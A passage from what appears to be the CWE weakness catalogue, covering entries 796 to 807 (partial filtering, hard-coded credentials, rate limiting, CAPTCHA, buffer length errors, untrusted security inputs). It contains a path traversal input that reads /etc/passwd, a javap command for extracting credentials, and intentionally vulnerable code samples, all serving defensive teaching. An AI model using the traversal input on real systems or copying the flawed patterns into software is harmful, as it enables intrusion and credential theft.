ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

CWE-796: Only Filtering Special Elements Relative to a Marker

Weakness ID : 796 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

CWE-797: Only Filtering Special Elements at an Absolute Position

Weakness ID : 797 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	795	Only Filtering Special Elements at a Specified Location	1483

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
    $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" filtered, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

CWE-798: Use of Hard-coded Credentials

Weakness ID : 798 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

Extended Description

Hard-coded credentials typically create a significant hole that allows an attacker to bypass the authentication that has been configured by the software administrator. This hole might be difficult for the system administrator to detect. Even if detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the software contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials.
Outbound: the software connects to another system or component, and it contains hard-coded credentials for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Integrity Confidentiality Availability Access Control Other	Read Application Data Gain Privileges or Assume Identity Execute Unauthorized Code or Commands Other *This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.*	

Detection Methods

Black Box

Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.

Effectiveness = Moderate

Automated Static Analysis

Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.

Manual Static Analysis

This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the software, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.

Manual Dynamic Analysis

For hard-coded credentials in incoming authentication: use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Using call trees or

similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Network Sniffer Forced Path Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7]. In Windows environments, the Encrypted File System (EFS) may provide some protection.

Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.

Phase: Architecture and Design

If the software must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

Phase: Architecture and Design

For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash. Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals. Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access. Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.

Demonstrative Examples

Example 1:

The following code uses a hard-coded password to connect to a database:

Example Language: Java *(bad)*

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

Example Language: *(attack)*

```
javap -c ConnMngr.class
   22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
   24: ldc #38; //String scott
   26: ldc #17; //String tiger
```

Example 2:

The following code is an example of an internal hard-coded password in the back-end:

Example Language: C *(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!")) {
        printf("Incorrect Password!\n");
        return(0)
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java *(bad)*

```
int VerifyAdmin(String password) {
    if (passwd.Equals("Mew!")) {
        return(0)
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3:

The following code examples attempt to verify a password using a hard-coded cryptographic key.

Example Language: C *(bad)*

```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java *(bad)*

```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
```

Example Language: C# *(bad)*

```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Example Language: Java *(bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

Example Language: ASP.NET *(bad)*

```
...
<connectionStrings>
    <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Observed Examples

Reference	Description
CVE-2010-2772	SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2772*

CWE-799: Improper Control of Interaction Frequency

Weakness ID : 799 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.

Extended Description

This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1342
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	678
ParentOf	B	837	Improper Enforcement of a Single, Unique Action	1550

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Insufficient anti-automation : The term "insufficient anti-automation" focuses primarily on non-human actors such as viruses or bots, but the scope of this CWE entry is broader.

Brute force : Vulnerabilities that can be targeted using brute force attacks are often symptomatic of this weakness.

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)	
Access Control	Bypass Protection Mechanism	
Other	Other	

Demonstrative Examples

Example 1:

In the following code a username and password is read from a socket and an attempt is made to authenticate the username and password. The code will continuously checked the socket for a username and password until it has been authenticated.

Example Language: C *(bad)*

```
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];
while (isValidUser == 0) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
}
return(SUCCESS);
```

This code does not place any restriction on the number of authentication attempts made. There should be a limit on the number of authentication attempts made to prevent brute force attacks as in the following example code.

Example Language: C *(good)*

```
int count = 0;
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
    count++;
}
if (isValidUser) {
    return(SUCCESS);
}
else {
    return(FAIL);
}
```

CWE-804: Guessable CAPTCHA

Weakness ID : 804 **Status:** Incomplete

Structure : Simple
Abstraction : Base

Description

The software uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.

Extended Description

An automated attacker could bypass the intended protection of the CAPTCHA challenge and perform actions at a higher frequency than humanly possible, such as launching spam attacks.

There can be several different causes of a guessable CAPTCHA:

- An audio or visual image that does not have sufficient distortion from the unobfuscated source image.
- A question is generated that with a format that can be automatically recognized, such as a math question.
- A question for which the number of possible answers is limited, such as birth years or favorite sports teams.
- A general-knowledge or trivia question for which the answer can be accessed using a data base, such as country capitals or popular actors.
- Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.

Relationships

CWE-805: Buffer Access with Incorrect Length Value

Weakness ID : 805 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.

Extended Description

When the length value exceeds the size of the destination, a buffer overflow could occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Read Memory Modify Memory Execute Unauthorized Code or Commands *Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.*	
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) *Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-59] [REF-57].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
```

```
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C *(bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

In the following example, the source character string is copied to the dest character string using the method strncpy.

Example Language: C *(bad)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

Example Language: C *(good)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

Example 4:

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

Example Language: C *(bad)*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

Example Language: C *(good)*

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

CWE-806: Buffer Access Using Size of Source Buffer

Weakness ID : 806 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.

Extended Description

When the size of the destination is smaller than the size of the source, a buffer overflow could occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Common Consequences

Scope	Impact	Likelihood
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) *Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.*	
Integrity Confidentiality Availability	Read Memory Modify Memory Execute Unauthorized Code or Commands *Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.*	
Access Control	Bypass Protection Mechanism *When the consequence is arbitrary code execution, this can often be used to subvert any other security service.*	

Potential Mitigations

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Examples include the Safe C String Library (SafeStr) by Viega, and the Strsafe.h library from Microsoft. This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Build and Compilation

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. This is not necessarily a complete solution, since these canary-based mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Programmers should adhere to the following rules when allocating and managing their applications memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if calling this function in a loop and make sure you are not in danger of writing past the allocated space. Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Build and Compilation

Phase: Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Demonstrative Examples

Example 1:

In the following example, the source character string is copied to the dest character string using the method strncpy.

Example Language: C *(bad)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

Example Language: C *(good)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

Example 2:

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

Example Language: C *(bad)*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

Example Language: C *(good)*

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

Affected Resources

CWE-807: Reliance on Untrusted Inputs in a Security Decision

Weakness ID : 807 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

Extended Description

Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.

Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ParentOf	V	302	Authentication Bypass by Assumed-Immutable Data	668
ParentOf	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	769
ParentOf	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1456

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
